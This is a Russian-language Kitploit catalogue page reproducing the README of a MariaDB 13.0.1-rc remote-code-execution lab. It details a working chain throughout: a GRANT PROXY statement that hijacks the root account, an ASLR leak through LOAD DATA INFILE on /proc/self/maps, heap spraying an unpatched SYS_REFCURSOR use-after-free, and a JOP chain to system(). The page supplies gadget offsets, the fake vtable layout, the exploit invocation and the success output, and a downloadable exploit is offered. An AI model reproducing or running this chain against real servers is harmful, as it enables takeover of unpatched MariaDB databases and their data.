Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dinosn/mariadb-13-rce-lab
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеРазработка Полезной НагрузкиБезопасность Баз ДанныхЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — повышение привилегий (priv-esc) + heap UAF + JOP-цепочка к system() под uid 999(mysql) на стандартном Docker-образе. Найдено с помощью RAPTOR и raptor-loop-hunt.

33611 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Лаборатория RCE MariaDB 13.0.1-rc

Удалённое выполнение кода на немодифицированном, стандартном Docker-образе MariaDB 13.0.1-rc под uid 999 (mysql).

Два варианта эксплойта:

ВариантФайлТребованияПримечания
Чистый SQL (рекомендуется)exploit_pure_sql.pyучётная запись MariaDB с низкими привилегиями + TCPнет доступа к хосту, нет docker, нет /proc/mem, нет root-пароля
PoC при поддержке хостаexploit.pyroot на Docker-хостезаписывает JOP-цепочку через /proc/<pid>/mem

Проверено и подтверждено на: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 запуска, каждый с новыми базами ASLR).

Модель атаки «чистый SQL» (exploit_pure_sql.py)

Атакующий владеет только:

  • учётной записью MariaDB с правами только USAGE (пользователь lowpriv из compose) + её паролем, и
  • доступностью порта 3306 по TCP.

Вся цепочка выполняется в виде SQL-операторов; нет доступа к процессам на стороне хоста, нет docker-команд, нет известных адресов. Каждый runtime-адрес узнаётся от самой цели через SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

Единственные оставшиеся не-SQL операции — это обслуживание после эксплуатации: перезапуск (уже упавшего) контейнера и отображение файла-маркера; они не являются частью эксплуатации.

Замена старых вспомогательных операций на стороне хоста

Использование (чистый SQL)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Требуется только клиент mariadb/mysql и Python 3. --container используется для финального отображения маркера (перезапуск + cat) и может быть опущен, если маркер проверяется другим способом.

Ожидаемый хвост вывода:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Цепочка уязвимостей (оба варианта)

1. F-09 — повышение привилегий (любой пользователь → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' обходит все проверки привилегий. Пустая аутентификационная клауза заставляет LEX_USER::has_auth() возвращать false (пропуская check_alter_user()), в то время как replace_user_table() всё равно применяет пустой пароль — заменяя учётные данные root. Один SQL-оператор, любой аутентифицированный пользователь, каждая выпущенная версия MariaDB.

2. Обход ASLR через /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' читает полную раскладку памяти процесса mariadbd изнутри SQL, раскрывая адреса PIE-базы и libc-базы. Работает с secure_file_priv = NULL (не задан) на стандартном образе.

3. F-05 — use-after-free в SYS_REFCURSOR (0day, не исправлено в апстриме)

sp_cursor_array::get_cursor_by_ref() возвращает внутренний указатель на Dynamic_array, чьё резервное хранилище перемещается my_realloc при росте. Когда метод open() курсора выполняет подконтрольный атакующему SQL, открывающий дополнительные курсоры, массив растёт, старое хранилище освобождается, а кэшированный указатель вызывающего становится висячим.

Освобождённый чанк (16 курсоров x 112 байт = 1792 байта) переиспользуется heap-spray из 128 копий пользовательской переменной по 1784 байта каждая (точное соответствие glibc-чанку). Полезная нагрузка spray помещает управляемый указатель на vtable на смещение 0x20 (член result структуры sp_cursor), который впоследствии используется для виртуального вызова:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP-цепочка → system()

Два JOP-гаджета из стандартного бинарника mariadbd (без ROP, без stack pivot):

ГаджетСмещениеИнструкцияНазначение
D2PIE+0x80da77call *0x100(%rax)Выравнивание стека
D1PIE+0xe3075b

Фейковая vtable V располагается в буфере 128 МиБ; раскладка:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. Трюк обнаружения адреса на чистом SQL (новый)

Проблема курицы и яйца — запись самоссылающихся JOP-данных до знания адреса буфера — решается поведением mmap в glibc:

  1. выделить маркерный буфер 128 МиБ → отдельная mmap-область (0x8001000, данные на region+0x30) → адрес находится через дифф /proc/self/maps
  2. перевыделить буфер с полной раскладкой (самоссылка = V+0x140) → glibc делает munmap старого чанка и переиспользует тот же слот → адрес стабилен
  3. каждый шаг проверяется повторным чтением /proc/self/maps; если адрес когда-либо сдвинулся, самоссылка перезапекается и запись повторяется (на практике сходится за одну итерацию)

Вариант при поддержке хоста (exploit.py)

Та же цепочка, но JOP-раскладка записывается в процесс через /proc/<pid>/mem с Docker-хоста (требуется root), скрипт полезной нагрузки создаётся через docker exec, а подключение выполняется с root-паролем из compose-файла. Сохранён как исторический PoC; вариант на чистом SQL превосходит его.

Примечания

  • UAF в SYS_REFCURSOR (F-05) не исправлен в апстриме по состоянию на 2026-08-03 (ноль коммитов в sql/sp_cursor.{cc,h} между тегом 13.0.1 и HEAD).
  • Исправление повышения привилегий F-09 (dbd60d0ad8d, MDEV-40470) есть в dev-ветках, но отсутствует во всех выпущенных версиях (проверено с 13.0.1 по 10.6.27).
  • 128 МиБ выбрано потому, что динамический mmap-порог glibc может вырасти за 4 МиБ после больших освобождений; 128 МиБ надёжно получает отдельную mmap-область (проверено на 128 и 256 МиБ; размер больше max_allowed_packet не проходит, поэтому сначала поднимается SET GLOBAL max_allowed_packet и используется новое соединение).
  • Смещение данных внутри mmap-области равно +0x30 на этом образе/glibc (проверено между запусками; обновите DATA_OFF, если оно когда-либо изменится).

Обнаружено с помощью

  • RAPTOR — автономный исследовательский фреймворк наступательной/оборонительной безопасности
  • raptor-loop-hunt — плагин итеративной охоты за уязвимостями
Скачать инструмент
Старая вспомогательная операция (exploit.py)Замена на чистый SQL
docker inspect → PID + /proc/<pid>/maps на стороне хостаLOAD DATA INFILE '/proc/self/maps'
запись в /proc/<pid>/mem на стороне хоста для JOP-цепочкираскладка встраивается через CONCAT/UNHEX при выделении; адрес из SQL-стороннего диффа maps; переиспользование mmap-слота сохраняет самоссылку валидной
docker exec ... echo CMD > /tmp/payload_cmd.shстрока команды встраивается напрямую в JOP-раскладку
mariadb -uroot -plabpass (root-пароль)повышение через GRANT PROXY из низкопривилегированной учётной записи
docker exec ... cat MARKERиспользуется только для отображения доказательства
mov rdi,[rax+0xa8]; call [rax+0xa0]
Загрузка указателя на команду, вызов system()